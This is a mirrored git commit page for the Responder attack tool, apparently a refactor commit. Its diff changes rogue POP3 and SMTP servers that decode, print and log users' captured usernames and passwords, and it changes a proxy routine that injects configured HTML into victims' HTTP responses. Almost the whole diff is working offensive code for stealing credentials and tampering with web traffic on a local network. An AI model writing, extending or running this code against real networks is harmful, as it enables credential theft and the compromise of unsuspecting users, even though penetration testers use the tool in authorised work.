mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 13:01:24 -07:00
Further improvements and fixes.
This commit is contained in:
parent
066c15154d
commit
867bcdde03
7 changed files with 44 additions and 32 deletions
|
@ -171,7 +171,7 @@ def PacketSequence(data, client):
|
|||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToInject)
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
|
@ -192,7 +192,7 @@ def PacketSequence(data, client):
|
|||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HTMLToInject)
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
|
|
|
@ -58,9 +58,9 @@ def InjectData(data, client, req_uri):
|
|||
HasBody = re.findall('(<body[^>]*>)', Content)
|
||||
|
||||
if HasBody:
|
||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HTMLToInject, 3, 1))
|
||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
||||
|
||||
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HTMLToInject))
|
||||
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
||||
|
||||
if "content-encoding: gzip" in Headers.lower():
|
||||
|
@ -74,7 +74,6 @@ def InjectData(data, client, req_uri):
|
|||
return data
|
||||
|
||||
class ProxySock:
|
||||
|
||||
def __init__(self, socket, proxy_host, proxy_port) :
|
||||
|
||||
# First, use the socket, without any change
|
||||
|
@ -222,7 +221,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
return 0
|
||||
return 1
|
||||
|
||||
def socket_proxy(self):
|
||||
def socket_proxy(self, af, fam):
|
||||
Proxy = settings.Config.Upstream_Proxy
|
||||
Proxy = Proxy.rstrip('/').replace('http://', '').replace('https://', '')
|
||||
Proxy = Proxy.split(':')
|
||||
|
@ -230,13 +229,13 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
try: Proxy = (Proxy[0], int(Proxy[1]))
|
||||
except: Proxy = (Proxy[0], 8080)
|
||||
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
soc = socket.socket(af, fam)
|
||||
return ProxySock(soc, Proxy[0], Proxy[1])
|
||||
|
||||
def do_CONNECT(self):
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
soc = self.socket_proxy()
|
||||
soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM)
|
||||
else:
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
|
@ -261,7 +260,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
return
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
soc = self.socket_proxy()
|
||||
soc = self.socket_proxy(socket.AF_INET, socket.SOCK_STREAM)
|
||||
else:
|
||||
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
|
@ -306,12 +305,12 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
for i in ins:
|
||||
if i is soc:
|
||||
out = self.connection
|
||||
#try:
|
||||
try:
|
||||
data = i.recv(4096)
|
||||
if len(data) > 1:
|
||||
data = InjectData(data, self.client_address[0], self.path)
|
||||
#except:
|
||||
# pass
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
out = soc
|
||||
data = i.recv(4096)
|
||||
|
|
|
@ -17,6 +17,7 @@
|
|||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
|
|
|
@ -112,6 +112,7 @@ def ParseClearTextSQLPass(data, client):
|
|||
class MSSQL(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
print text("[MSSQL] Received connection from %s" % self.client_address[0])
|
||||
try:
|
||||
while True:
|
||||
data = self.request.recv(1024)
|
||||
|
|
|
@ -17,6 +17,7 @@
|
|||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import POPOKPacket
|
||||
|
||||
|
@ -41,9 +42,9 @@ class POP3(BaseRequestHandler):
|
|||
if data[0:4] == "PASS":
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
|
||||
print text("[POP3] Address : %s" % self.client_address[0])
|
||||
print text("[POP3] Username : %s" % User)
|
||||
print text("[POP3] Password : %s" % Pass)
|
||||
print text("[POP3] Address : %s" % color(self.client_address[0], 3))
|
||||
print text("[POP3] Username : %s" % color(User, 3))
|
||||
print text("[POP3] Password : %s" % color(Pass, 3))
|
||||
WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
|
||||
|
||||
data = self.SendPacketAndRead()
|
||||
|
|
|
@ -17,6 +17,8 @@
|
|||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from base64 import b64decode, b64encode
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||
|
||||
|
@ -37,16 +39,23 @@ class ESMTP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
Username = b64decode(data[:len(data)-2])
|
||||
try:
|
||||
User = filter(None, b64decode(data).split('\x00'))
|
||||
Username = User[0]
|
||||
Password = User[1]
|
||||
except:
|
||||
Username = b64decode(data)
|
||||
|
||||
self.request.send(str(SMTPAUTH2()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data:
|
||||
Password = b64decode(data[:len(data)-2])
|
||||
try: Password = b64decode(data)
|
||||
except: Password = data
|
||||
|
||||
print text("[SMTP] Address : %s" % color(self.client_address[0], 3, 0))
|
||||
print text("[SMTP] Username : %s" % color(Username, 3, 0))
|
||||
print text("[SMTP] Password : %s" % color(Password, 3, 0))
|
||||
print text("[SMTP] Address : %s" % color(self.client_address[0], 3))
|
||||
print text("[SMTP] Username : %s" % color(Username, 3))
|
||||
print text("[SMTP] Password : %s" % color(Password, 3))
|
||||
WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password)
|
||||
|
||||
## FIXME: Close connection properly
|
||||
|
|
1
utils.py
1
utils.py
|
@ -211,6 +211,7 @@ def StartupMessage():
|
|||
print ""
|
||||
print ""
|
||||
|
||||
# Useful for debugging
|
||||
def hexdump(src, l=0x16):
|
||||
res = []
|
||||
sep = '.'
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue